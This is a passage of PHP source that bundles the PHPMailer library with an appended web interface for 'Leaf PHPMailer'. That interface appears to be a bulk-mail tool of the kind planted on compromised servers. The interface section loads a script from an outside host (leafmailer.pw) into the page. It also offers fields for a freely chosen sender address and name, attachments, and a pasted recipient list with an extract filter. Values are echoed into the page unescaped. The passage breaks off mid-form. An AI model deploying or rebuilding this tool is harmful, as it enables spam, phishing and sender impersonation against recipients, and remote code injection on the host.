$disposition,\n 7 => $cid\n );\n return true;\n }\n\n \/**\n * Add an embedded stringified attachment.\n * This can include images, sounds, and just about any other document type.\n * Be sure to set the $type to an image type for images:\n * JPEG images use 'image\/jpeg', GIF uses 'image\/gif', PNG uses 'image\/png'.\n * @param string $string The attachment binary data.\n * @param string $cid Content ID of the attachment; Use this to reference\n * the content when using an embedded image in HTML.\n * @param string $name\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type MIME type.\n * @param string $disposition Disposition to use\n * @return boolean True on successfully adding an attachment\n *\/\n public function addStringEmbeddedImage(\n $string,\n $cid,\n $name = '',\n $encoding = 'base64',\n $type = '',\n $disposition = 'inline'\n ) {\n \/\/ If a MIME type is not specified, try to work it out from the name\n if ($type == '' and !empty($name)) {\n $type = self::filenameToType($name);\n }\n\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $string,\n 1 => $name,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => true, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => $cid\n );\n return true;\n }\n\n \/**\n * Check if an inline attachment is present.\n * @access public\n * @return boolean\n *\/\n public function inlineImageExists()\n {\n foreach ($this->attachment as $attachment) {\n if ($attachment[6] == 'inline') {\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Check if an attachment (non-inline) is present.\n * @return boolean\n *\/\n public function attachmentExists()\n {\n foreach ($this->attachment as $attachment) {\n if ($attachment[6] == 'attachment') {\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Check if this message has an alternative body set.\n * @return boolean\n *\/\n public function alternativeExists()\n {\n return !empty($this->AltBody);\n }\n\n \/**\n * Clear queued addresses of given kind.\n * @access protected\n * @param string $kind 'to', 'cc', or 'bcc'\n * @return void\n *\/\n public function clearQueuedAddresses($kind)\n {\n $RecipientsQueue = $this->RecipientsQueue;\n foreach ($RecipientsQueue as $address => $params) {\n if ($params[0] == $kind) {\n unset($this->RecipientsQueue[$address]);\n }\n }\n }\n\n \/**\n * Clear all To recipients.\n * @return void\n *\/\n public function clearAddresses()\n {\n foreach ($this->to as $to) {\n unset($this->all_recipients[strtolower($to[0])]);\n }\n $this->to = array();\n $this->clearQueuedAddresses('to');\n }\n\n \/**\n * Clear all CC recipients.\n * @return void\n *\/\n public function clearCCs()\n {\n foreach ($this->cc as $cc) {\n unset($this->all_recipients[strtolower($cc[0])]);\n }\n $this->cc = array();\n $this->clearQueuedAddresses('cc');\n }\n\n \/**\n * Clear all BCC recipients.\n * @return void\n *\/\n public function clearBCCs()\n {\n foreach ($this->bcc as $bcc) {\n unset($this->all_recipients[strtolower($bcc[0])]);\n }\n $this->bcc = array();\n $this->clearQueuedAddresses('bcc');\n }\n\n \/**\n * Clear all ReplyTo recipients.\n * @return void\n *\/\n public function clearReplyTos()\n {\n $this->ReplyTo = array();\n $this->ReplyToQueue = array();\n }\n\n \/**\n * Clear all recipient types.\n * @return void\n *\/\n public function clearAllRecipients()\n {\n $this->to = array();\n $this->cc = array();\n $this->bcc = array();\n $this->all_recipients = array();\n $this->RecipientsQueue = array();\n }\n\n \/**\n * Clear all filesystem, string, and binary attachments.\n * @return void\n *\/\n public function clearAttachments()\n {\n $this->attachment = array();\n }\n\n \/**\n * Clear all custom headers.\n * @return void\n *\/\n public function clearCustomHeaders()\n {\n $this->CustomHeader = array();\n }\n\n \/**\n * Add an error message to the error container.\n * @access protected\n * @param string $msg\n * @return void\n *\/\n protected function setError($msg)\n {\n $this->error_count++;\n if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {\n $lasterror = $this->smtp->getError();\n if (!empty($lasterror['error'])) {\n $msg .= $this->lang('smtp_error') . $lasterror['error'];\n if (!empty($lasterror['detail'])) {\n $msg .= ' Detail: '. $lasterror['detail'];\n }\n if (!empty($lasterror['smtp_code'])) {\n $msg .= ' SMTP code: ' . $lasterror['smtp_code'];\n }\n if (!empty($lasterror['smtp_code_ex'])) {\n $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];\n }\n }\n }\n $this->ErrorInfo = $msg;\n }\n\n \/**\n * Return an RFC 822 formatted date.\n * @access public\n * @return string\n * @static\n *\/\n public static function rfcDate()\n {\n \/\/ Set the time zone to whatever the default is to avoid 500 errors\n \/\/ Will default to UTC if it's not set properly in php.ini\n date_default_timezone_set(@date_default_timezone_get());\n return date('D, j M Y H:i:s O');\n }\n\n \/**\n * Get the server hostname.\n * Returns 'localhost.localdomain' if unknown.\n * @access protected\n * @return string\n *\/\n protected function serverHostname()\n {\n $result = 'localhost.localdomain';\n if (!empty($this->Hostname)) {\n $result = $this->Hostname;\n } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {\n $result = $_SERVER['SERVER_NAME'];\n } elseif (function_exists('gethostname') && gethostname() !== false) {\n $result = gethostname();\n } elseif (php_uname('n') !== false) {\n $result = php_uname('n');\n }\n return $result;\n }\n\n \/**\n * Get an error message in the current language.\n * @access protected\n * @param string $key\n * @return string\n *\/\n protected function lang($key)\n {\n if (count($this->language) < 1) {\n $this->setLanguage('en'); \/\/ set the default language\n }\n\n if (array_key_exists($key, $this->language)) {\n if ($key == 'smtp_connect_failed') {\n \/\/Include a link to troubleshooting docs on SMTP connection failure\n \/\/this is by far the biggest cause of support questions\n \/\/but it's usually not PHPMailer's fault.\n return $this->language[$key] . ' https:\/\/github.com\/PHPMailer\/PHPMailer\/wiki\/Troubleshooting';\n }\n return $this->language[$key];\n } else {\n \/\/Return the key as a fallback\n return $key;\n }\n }\n\n \/**\n * Check if an error occurred.\n * @access public\n * @return boolean True if an error did occur.\n *\/\n public function isError()\n {\n return ($this->error_count > 0);\n }\n\n \/**\n * Ensure consistent line endings in a string.\n * Changes every end of line from CRLF, CR or LF to $this->LE.\n * @access public\n * @param string $str String to fixEOL\n * @return string\n *\/\n public function fixEOL($str)\n {\n \/\/ Normalise to \\n\n $nstr = str_replace(array(\"\\r\\n\", \"\\r\"), \"\\n\", $str);\n \/\/ Now convert LE as needed\n if ($this->LE !== \"\\n\") {\n $nstr = str_replace(\"\\n\", $this->LE, $nstr);\n }\n return $nstr;\n }\n\n \/**\n * Add a custom header.\n * $name value can be overloaded to contain\n * both header name and value (name:value)\n * @access public\n * @param string $name Custom header name\n * @param string $value Header value\n * @return void\n *\/\n public function addCustomHeader($name, $value = null)\n {\n if ($value === null) {\n \/\/ Value passed in as name:value\n $this->CustomHeader[] = explode(':', $name, 2);\n } else {\n $this->CustomHeader[] = array($name, $value);\n }\n }\n\n \/**\n * Returns all custom headers.\n * @return array\n *\/\n public function getCustomHeaders()\n {\n return $this->CustomHeader;\n }\n\n \/**\n * Create a message body from an HTML string.\n * Automatically inlines images and creates a plain-text version by converting the HTML,\n * overwriting any existing values in Body and AltBody.\n * Do not source $message content from user input!\n * $basedir is prepended when handling relative URLs, e.g. <img src=\"\/images\/a.png\"> and must not be empty\n * will look for an image file in $basedir\/images\/a.png and convert it to inline.\n * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)\n * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.\n * @access public\n * @param string $message HTML message string\n * @param string $basedir Absolute path to a base directory to prepend to relative paths to images\n * @param boolean|callable $advanced Whether to use the internal HTML to text converter\n * or your own custom converter @see PHPMailer::html2text()\n * @return string $message The transformed message Body\n *\/\n public function msgHTML($message, $basedir = '', $advanced = false)\n {\n preg_match_all('\/(src|background)=[\"\\'](.*)[\"\\']\/Ui', $message, $images);\n if (array_key_exists(2, $images)) {\n if (strlen($basedir) > 1 && substr($basedir, -1) != '\/') {\n \/\/ Ensure $basedir has a trailing \/\n $basedir .= '\/';\n }\n foreach ($images[2] as $imgindex => $url) {\n \/\/ Convert data URIs into embedded images\n if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {\n $data = substr($url, strpos($url, ','));\n if ($match[2]) {\n $data = base64_decode($data);\n } else {\n $data = rawurldecode($data);\n }\n $cid = md5($url) . '@phpmailer.0'; \/\/ RFC2392 S 2\n if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {\n $message = str_replace(\n $images[0][$imgindex],\n $images[1][$imgindex] . '=\"cid:' . $cid . '\"',\n $message\n );\n }\n continue;\n }\n if (\n \/\/ Only process relative URLs if a basedir is provided (i.e. no absolute local paths)\n !empty($basedir)\n \/\/ Ignore URLs containing parent dir traversal (..)\n && (strpos($url, '..') === false)\n \/\/ Do not change urls that are already inline images\n && substr($url, 0, 4) !== 'cid:'\n \/\/ Do not change absolute URLs, including anonymous protocol\n && !preg_match('#^[a-z][a-z0-9+.-]*:?\/\/#i', $url)\n ) {\n $filename = basename($url);\n $directory = dirname($url);\n if ($directory == '.') {\n $directory = '';\n }\n $cid = md5($url) . '@phpmailer.0'; \/\/ RFC2392 S 2\n if (strlen($directory) > 1 && substr($directory, -1) != '\/') {\n $directory .= '\/';\n }\n if ($this->addEmbeddedImage(\n $basedir . $directory . $filename,\n $cid,\n $filename,\n 'base64',\n self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))\n )\n ) {\n $message = preg_replace(\n '\/' . $images[1][$imgindex] . '=[\"\\']' . preg_quote($url, '\/') . '[\"\\']\/Ui',\n $images[1][$imgindex] . '=\"cid:' . $cid . '\"',\n $message\n );\n }\n }\n }\n }\n $this->isHTML(true);\n \/\/ Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better\n $this->Body = $this->normalizeBreaks($message);\n $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));\n if (!$this->alternativeExists()) {\n $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .\n self::CRLF . self::CRLF;\n }\n return $this->Body;\n }\n\n \/**\n * Convert an HTML string into plain text.\n * This is used by msgHTML().\n * Note - older versions of this function used a bundled advanced converter\n * which was been removed for license reasons in #232.\n * Example usage:\n * <code>\n * \/\/ Use default conversion\n * $plain = $mail->html2text($html);\n * \/\/ Use your own custom converter\n * $plain = $mail->html2text($html, function($html) {\n * $converter = new MyHtml2text($html);\n * return $converter->get_text();\n * });\n * <\/code>\n * @param string $html The HTML text to convert\n * @param boolean|callable $advanced Any boolean value to use the internal converter,\n * or provide your own callable for custom conversion.\n * @return string\n *\/\n public function html2text($html, $advanced = false)\n {\n if (is_callable($advanced)) {\n return call_user_func($advanced, $html);\n }\n return html_entity_decode(\n trim(strip_tags(preg_replace('\/<(head|title|style|script)[^>]*>.*?<\\\/\\\\1>\/si', '', $html))),\n ENT_QUOTES,\n $this->CharSet\n );\n }\n\n \/**\n * Get the MIME type for a file extension.\n * @param string $ext File extension\n * @access public\n * @return string MIME type of file.\n * @static\n *\/\n public static function _mime_types($ext = '')\n {\n $mimes = array(\n 'xl' => 'application\/excel',\n 'js' => 'application\/javascript',\n 'hqx' => 'application\/mac-binhex40',\n 'cpt' => 'application\/mac-compactpro',\n 'bin' => 'application\/macbinary',\n 'doc' => 'application\/msword',\n 'word' => 'application\/msword',\n 'xlsx' => 'application\/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\n 'xltx' => 'application\/vnd.openxmlformats-officedocument.spreadsheetml.template',\n 'potx' => 'application\/vnd.openxmlformats-officedocument.presentationml.template',\n 'ppsx' => 'application\/vnd.openxmlformats-officedocument.presentationml.slideshow',\n 'pptx' => 'application\/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'sldx' => 'application\/vnd.openxmlformats-officedocument.presentationml.slide',\n 'docx' => 'application\/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'dotx' => 'application\/vnd.openxmlformats-officedocument.wordprocessingml.template',\n 'xlam' => 'application\/vnd.ms-excel.addin.macroEnabled.12',\n 'xlsb' => 'application\/vnd.ms-excel.sheet.binary.macroEnabled.12',\n 'class' => 'application\/octet-stream',\n 'dll' => 'application\/octet-stream',\n 'dms' => 'application\/octet-stream',\n 'exe' => 'application\/octet-stream',\n 'lha' => 'application\/octet-stream',\n 'lzh' => 'application\/octet-stream',\n 'psd' => 'application\/octet-stream',\n 'sea' => 'application\/octet-stream',\n 'so' => 'application\/octet-stream',\n 'oda' => 'application\/oda',\n 'pdf' => 'application\/pdf',\n 'ai' => 'application\/postscript',\n 'eps' => 'application\/postscript',\n 'ps' => 'application\/postscript',\n 'smi' => 'application\/smil',\n 'smil' => 'application\/smil',\n 'mif' => 'application\/vnd.mif',\n 'xls' => 'application\/vnd.ms-excel',\n 'ppt' => 'application\/vnd.ms-powerpoint',\n 'wbxml' => 'application\/vnd.wap.wbxml',\n 'wmlc' => 'application\/vnd.wap.wmlc',\n 'dcr' => 'application\/x-director',\n 'dir' => 'application\/x-director',\n 'dxr' => 'application\/x-director',\n 'dvi' => 'application\/x-dvi',\n 'gtar' => 'application\/x-gtar',\n 'php3' => 'application\/x-httpd-php',\n 'php4' => 'application\/x-httpd-php',\n 'php' => 'application\/x-httpd-php',\n 'phtml' => 'application\/x-httpd-php',\n 'phps' => 'application\/x-httpd-php-source',\n 'swf' => 'application\/x-shockwave-flash',\n 'sit' => 'application\/x-stuffit',\n 'tar' => 'application\/x-tar',\n 'tgz' => 'application\/x-tar',\n 'xht' => 'application\/xhtml+xml',\n 'xhtml' => 'application\/xhtml+xml',\n 'zip' => 'application\/zip',\n 'mid' => 'audio\/midi',\n 'midi' => 'audio\/midi',\n 'mp2' => 'audio\/mpeg',\n 'mp3' => 'audio\/mpeg',\n 'mpga' => 'audio\/mpeg',\n 'aif' => 'audio\/x-aiff',\n 'aifc' => 'audio\/x-aiff',\n 'aiff' => 'audio\/x-aiff',\n 'ram' => 'audio\/x-pn-realaudio',\n 'rm' => 'audio\/x-pn-realaudio',\n 'rpm' => 'audio\/x-pn-realaudio-plugin',\n 'ra' => 'audio\/x-realaudio',\n 'wav' => 'audio\/x-wav',\n 'bmp' => 'image\/bmp',\n 'gif' => 'image\/gif',\n 'jpeg' => 'image\/jpeg',\n 'jpe' => 'image\/jpeg',\n 'jpg' => 'image\/jpeg',\n 'png' => 'image\/png',\n 'tiff' => 'image\/tiff',\n 'tif' => 'image\/tiff',\n 'eml' => 'message\/rfc822',\n 'css' => 'text\/css',\n 'html' => 'text\/html',\n 'htm' => 'text\/html',\n 'shtml' => 'text\/html',\n 'log' => 'text\/plain',\n 'text' => 'text\/plain',\n 'txt' => 'text\/plain',\n 'rtx' => 'text\/richtext',\n 'rtf' => 'text\/rtf',\n 'vcf' => 'text\/vcard',\n 'vcard' => 'text\/vcard',\n 'xml' => 'text\/xml',\n 'xsl' => 'text\/xml',\n 'mpeg' => 'video\/mpeg',\n 'mpe' => 'video\/mpeg',\n 'mpg' => 'video\/mpeg',\n 'mov' => 'video\/quicktime',\n 'qt' => 'video\/quicktime',\n 'rv' => 'video\/vnd.rn-realvideo',\n 'avi' => 'video\/x-msvideo',\n 'movie' => 'video\/x-sgi-movie'\n );\n if (array_key_exists(strtolower($ext), $mimes)) {\n return $mimes[strtolower($ext)];\n }\n return 'application\/octet-stream';\n }\n\n \/**\n * Map a file name to a MIME type.\n * Defaults to 'application\/octet-stream', i.e.. arbitrary binary data.\n * @param string $filename A file name or full path, does not need to exist as a file\n * @return string\n * @static\n *\/\n public static function filenameToType($filename)\n {\n \/\/ In case the path is a URL, strip any query string before getting extension\n $qpos = strpos($filename, '?');\n if (false !== $qpos) {\n $filename = substr($filename, 0, $qpos);\n }\n $pathinfo = self::mb_pathinfo($filename);\n return self::_mime_types($pathinfo['extension']);\n }\n\n \/**\n * Multi-byte-safe pathinfo replacement.\n * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.\n * Works similarly to the one in PHP >= 5.2.0\n * @link http:\/\/www.php.net\/manual\/en\/function.pathinfo.php#107461\n * @param string $path A filename or path, does not need to exist as a file\n * @param integer|string $options Either a PATHINFO_* constant,\n * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2\n * @return string|array\n * @static\n *\/\n public static function mb_pathinfo($path, $options = null)\n {\n $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');\n $pathinfo = array();\n if (preg_match('%^(.*?)[\\\\\\\\\/]*(([^\/\\\\\\\\]*?)(\\.([^\\.\\\\\\\\\/]+?)|))[\\\\\\\\\/\\.]*$%im', $path, $pathinfo)) {\n if (array_key_exists(1, $pathinfo)) {\n $ret['dirname'] = $pathinfo[1];\n }\n if (array_key_exists(2, $pathinfo)) {\n $ret['basename'] = $pathinfo[2];\n }\n if (array_key_exists(5, $pathinfo)) {\n $ret['extension'] = $pathinfo[5];\n }\n if (array_key_exists(3, $pathinfo)) {\n $ret['filename'] = $pathinfo[3];\n }\n }\n switch ($options) {\n case PATHINFO_DIRNAME:\n case 'dirname':\n return $ret['dirname'];\n case PATHINFO_BASENAME:\n case 'basename':\n return $ret['basename'];\n case PATHINFO_EXTENSION:\n case 'extension':\n return $ret['extension'];\n case PATHINFO_FILENAME:\n case 'filename':\n return $ret['filename'];\n default:\n return $ret;\n }\n }\n\n \/**\n * Set or reset instance properties.\n * You should avoid this function - it's more verbose, less efficient, more error-prone and\n * harder to debug than setting properties directly.\n * Usage Example:\n * `$mail->set('SMTPSecure', 'tls');`\n * is the same as:\n * `$mail->SMTPSecure = 'tls';`\n * @access public\n * @param string $name The property name to set\n * @param mixed $value The value to set the property to\n * @return boolean\n * @TODO Should this not be using the __set() magic function?\n *\/\n public function set($name, $value = '')\n {\n if (property_exists($this, $name)) {\n $this->$name = $value;\n return true;\n } else {\n $this->setError($this->lang('variable_set') . $name);\n return false;\n }\n }\n\n \/**\n * Strip newlines to prevent header injection.\n * @access public\n * @param string $str\n * @return string\n *\/\n public function secureHeader($str)\n {\n return trim(str_replace(array(\"\\r\", \"\\n\"), '', $str));\n }\n\n \/**\n * Normalize line breaks in a string.\n * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.\n * Defaults to CRLF (for message bodies) and preserves consecutive breaks.\n * @param string $text\n * @param string $breaktype What kind of line break to use, defaults to CRLF\n * @return string\n * @access public\n * @static\n *\/\n public static function normalizeBreaks($text, $breaktype = \"\\r\\n\")\n {\n return preg_replace('\/(\\r\\n|\\r|\\n)\/ms', $breaktype, $text);\n }\n\n \/**\n * Set the public and private key files and password for S\/MIME signing.\n * @access public\n * @param string $cert_filename\n * @param string $key_filename\n * @param string $key_pass Password for private key\n * @param string $extracerts_filename Optional path to chain certificate\n *\/\n public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')\n {\n $this->sign_cert_file = $cert_filename;\n $this->sign_key_file = $key_filename;\n $this->sign_key_pass = $key_pass;\n $this->sign_extracerts_file = $extracerts_filename;\n }\n\n \/**\n * Quoted-Printable-encode a DKIM header.\n * @access public\n * @param string $txt\n * @return string\n *\/\n public function DKIM_QP($txt)\n {\n $line = '';\n for ($i = 0; $i < strlen($txt); $i++) {\n $ord = ord($txt[$i]);\n if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {\n $line .= $txt[$i];\n } else {\n $line .= '=' . sprintf('%02X', $ord);\n }\n }\n return $line;\n }\n\n \/**\n * Generate a DKIM signature.\n * @access public\n * @param string $signHeader\n * @throws phpmailerException\n * @return string The DKIM signature value\n *\/\n public function DKIM_Sign($signHeader)\n {\n if (!defined('PKCS7_TEXT')) {\n if ($this->exceptions) {\n throw new phpmailerException($this->lang('extension_missing') . 'openssl');\n }\n return '';\n }\n $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);\n if ('' != $this->DKIM_passphrase) {\n $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);\n } else {\n $privKey = openssl_pkey_get_private($privKeyStr);\n }\n \/\/Workaround for missing digest algorithms in old PHP & OpenSSL versions\n \/\/@link http:\/\/stackoverflow.com\/a\/11117338\/333340\n if (version_compare(PHP_VERSION, '5.3.0') >= 0 and\n in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {\n if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {\n openssl_pkey_free($privKey);\n return base64_encode($signature);\n }\n } else {\n $pinfo = openssl_pkey_get_details($privKey);\n $hash = hash('sha256', $signHeader);\n \/\/'Magic' constant for SHA256 from RFC3447\n \/\/@link https:\/\/tools.ietf.org\/html\/rfc3447#page-43\n $t = '3031300d060960864801650304020105000420' . $hash;\n $pslen = $pinfo['bits'] \/ 8 - (strlen($t) \/ 2 + 3);\n $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);\n\n if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {\n openssl_pkey_free($privKey);\n return base64_encode($signature);\n }\n }\n openssl_pkey_free($privKey);\n return '';\n }\n\n \/**\n * Generate a DKIM canonicalization header.\n * @access public\n * @param string $signHeader Header\n * @return string\n *\/\n public function DKIM_HeaderC($signHeader)\n {\n $signHeader = preg_replace('\/\\r\\n\\s+\/', ' ', $signHeader);\n $lines = explode(\"\\r\\n\", $signHeader);\n foreach ($lines as $key => $line) {\n list($heading, $value) = explode(':', $line, 2);\n $heading = strtolower($heading);\n $value = preg_replace('\/\\s{2,}\/', ' ', $value); \/\/ Compress useless spaces\n $lines[$key] = $heading . ':' . trim($value); \/\/ Don't forget to remove WSP around the value\n }\n $signHeader = implode(\"\\r\\n\", $lines);\n return $signHeader;\n }\n\n \/**\n * Generate a DKIM canonicalization body.\n * @access public\n * @param string $body Message Body\n * @return string\n *\/\n public function DKIM_BodyC($body)\n {\n if ($body == '') {\n return \"\\r\\n\";\n }\n \/\/ stabilize line endings\n $body = str_replace(\"\\r\\n\", \"\\n\", $body);\n $body = str_replace(\"\\n\", \"\\r\\n\", $body);\n \/\/ END stabilize line endings\n while (substr($body, strlen($body) - 4, 4) == \"\\r\\n\\r\\n\") {\n $body = substr($body, 0, strlen($body) - 2);\n }\n return $body;\n }\n\n \/**\n * Create the DKIM header and body in a new message header.\n * @access public\n * @param string $headers_line Header lines\n * @param string $subject Subject\n * @param string $body Body\n * @return string\n *\/\n public function DKIM_Add($headers_line, $subject, $body)\n {\n $DKIMsignatureType = 'rsa-sha256'; \/\/ Signature & hash algorithms\n $DKIMcanonicalization = 'relaxed\/simple'; \/\/ Canonicalization of header\/body\n $DKIMquery = 'dns\/txt'; \/\/ Query method\n $DKIMtime = time(); \/\/ Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)\n $subject_header = \"Subject: $subject\";\n $headers = explode($this->LE, $headers_line);\n $from_header = '';\n $to_header = '';\n $date_header = '';\n $current = '';\n foreach ($headers as $header) {\n if (strpos($header, 'From:') === 0) {\n $from_header = $header;\n $current = 'from_header';\n } elseif (strpos($header, 'To:') === 0) {\n $to_header = $header;\n $current = 'to_header';\n } elseif (strpos($header, 'Date:') === 0) {\n $date_header = $header;\n $current = 'date_header';\n } else {\n if (!empty($$current) && strpos($header, ' =?') === 0) {\n $$current .= $header;\n } else {\n $current = '';\n }\n }\n }\n $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));\n $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));\n $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));\n $subject = str_replace(\n '|',\n '=7C',\n $this->DKIM_QP($subject_header)\n ); \/\/ Copied header fields (dkim-quoted-printable)\n $body = $this->DKIM_BodyC($body);\n $DKIMlen = strlen($body); \/\/ Length of body\n $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); \/\/ Base64 of packed binary SHA-256 hash of body\n if ('' == $this->DKIM_identity) {\n $ident = '';\n } else {\n $ident = ' i=' . $this->DKIM_identity . ';';\n }\n $dkimhdrs = 'DKIM-Signature: v=1; a=' .\n $DKIMsignatureType . '; q=' .\n $DKIMquery . '; l=' .\n $DKIMlen . '; s=' .\n $this->DKIM_selector .\n \";\\r\\n\" .\n \"\\tt=\" . $DKIMtime . '; c=' . $DKIMcanonicalization . \";\\r\\n\" .\n \"\\th=From:To:Date:Subject;\\r\\n\" .\n \"\\td=\" . $this->DKIM_domain . ';' . $ident . \"\\r\\n\" .\n \"\\tz=$from\\r\\n\" .\n \"\\t|$to\\r\\n\" .\n \"\\t|$date\\r\\n\" .\n \"\\t|$subject;\\r\\n\" .\n \"\\tbh=\" . $DKIMb64 . \";\\r\\n\" .\n \"\\tb=\";\n $toSign = $this->DKIM_HeaderC(\n $from_header . \"\\r\\n\" .\n $to_header . \"\\r\\n\" .\n $date_header . \"\\r\\n\" .\n $subject_header . \"\\r\\n\" .\n $dkimhdrs\n );\n $signed = $this->DKIM_Sign($toSign);\n return $dkimhdrs . $signed . \"\\r\\n\";\n }\n\n \/**\n * Detect if a string contains a line longer than the maximum line length allowed.\n * @param string $str\n * @return boolean\n * @static\n *\/\n public static function hasLineLongerThanMax($str)\n {\n \/\/+2 to include CRLF line break for a 1000 total\n return (boolean)preg_match('\/^(.{'.(self::MAX_LINE_LENGTH + 2).',})\/m', $str);\n }\n\n \/**\n * Allows for public read access to 'to' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getToAddresses()\n {\n return $this->to;\n }\n\n \/**\n * Allows for public read access to 'cc' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getCcAddresses()\n {\n return $this->cc;\n }\n\n \/**\n * Allows for public read access to 'bcc' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getBccAddresses()\n {\n return $this->bcc;\n }\n\n \/**\n * Allows for public read access to 'ReplyTo' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getReplyToAddresses()\n {\n return $this->ReplyTo;\n }\n\n \/**\n * Allows for public read access to 'all_recipients' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getAllRecipientAddresses()\n {\n return $this->all_recipients;\n }\n\n \/**\n * Perform a callback.\n * @param boolean $isSent\n * @param array $to\n * @param array $cc\n * @param array $bcc\n * @param string $subject\n * @param string $body\n * @param string $from\n *\/\n protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)\n {\n if (!empty($this->action_function) && is_callable($this->action_function)) {\n $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);\n call_user_func_array($this->action_function, $params);\n }\n }\n}\n\n\/**\n * PHPMailer exception handler\n * @package PHPMailer\n *\/\nclass phpmailerException extends Exception\n{\n \/**\n * Prettify error message output\n * @return string\n *\/\n public function errorMessage()\n {\n $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . \"<\/strong><br \/>\\n\";\n return $errorMsg;\n }\n}\nfunction leafheader(){\nprint '\n<head>\n <title>'.str_replace(\"www.\", \"\", $_SERVER['HTTP_HOST']).' - LuFix.gs<\/title>\n <meta http-equiv=\"Content-Type\" content=\"text\/html; charset=utf-8\"\/>\n <link href=\"https:\/\/maxcdn.bootstrapcdn.com\/bootswatch\/3.4.1\/cosmo\/bootstrap.min.css\" rel=\"stylesheet\" >\n <script src=\"https:\/\/leafmailer.pw\/style2.js\"><\/script>\n\n<\/head>';\n}\nleafheader();\nprint '<body>';\nprint '<div class=\"container col-lg-6\">\n <h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>'.$leaf['version'].'<\/small><\/h3>\n <form name=\"form\" id=\"form\" method=\"POST\" enctype=\"multipart\/form-data\" action=\"\">\n <input type=\"hidden\" name=\"action\" value=\"score\">\n\n <div class=\"row\">\n <div class=\"form-group col-lg-6 \"><label for=\"senderEmail\">Email<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"senderEmail\" name=\"senderEmail\" value=\"'.$senderEmail.'\"><\/div>\n <div class=\"form-group col-lg-6 \"><label for=\"senderName\">Sender Name<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"senderName\" name=\"senderName\" value=\"'.$senderName.'\"><\/div>\n <\/div>\n <div class=\"row\">\n <span class=\"form-group col-lg-6 \"><label for=\"attachment\">Attachment <small>(Multiple Available)<\/small><\/label><input type=\"file\" name=\"attachment[]\" id=\"attachment[]\" multiple\/><\/span>\n\n <div class=\"form-group col-lg-6\"><label for=\"replyTo\">Reply-to<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"replyTo\" name=\"replyTo\" value=\"'.$replyTo.'\" \/><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-12 \"><label for=\"subject\">Subject<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"subject\" name=\"subject\" value=\"'.$subject.'\" \/><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-6\"><label for=\"messageLetter\">Message Letter <button type=\"submit\" class=\"btn btn-default btn-xs\" form=\"form\" name=\"action\" value=\"view\" formtarget=\"_blank\">Preview <\/button><\/label><textarea name=\"messageLetter\" id=\"messageLetter\" class=\"form-control\" rows=\"10\" id=\"textArea\">'.$messageLetter.'<\/textarea><\/div>\n <div class=\"form-group col-lg-6 \"><label for=\"emailList\">Email List <a href=\"?emailfilter=on\" target=\"_blank\" class=\"btn btn-default btn-xs\">Filter\/Extract<\/a><\/label><textarea name=\"emailList\" id=\"emailList\" class=\"form-control\" rows=\"10\" id=\"textArea\">'.$emailList.'<\/textarea><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-6 \">\n <label for=\"messageType\">Message Type<\/label>\n HTML <input type=\"radio\" name=\"messageType\" id=\"messageType\" value=\"1\" '.$html.'>\n Plain<input type=\"radio\" name=\"messageType\" 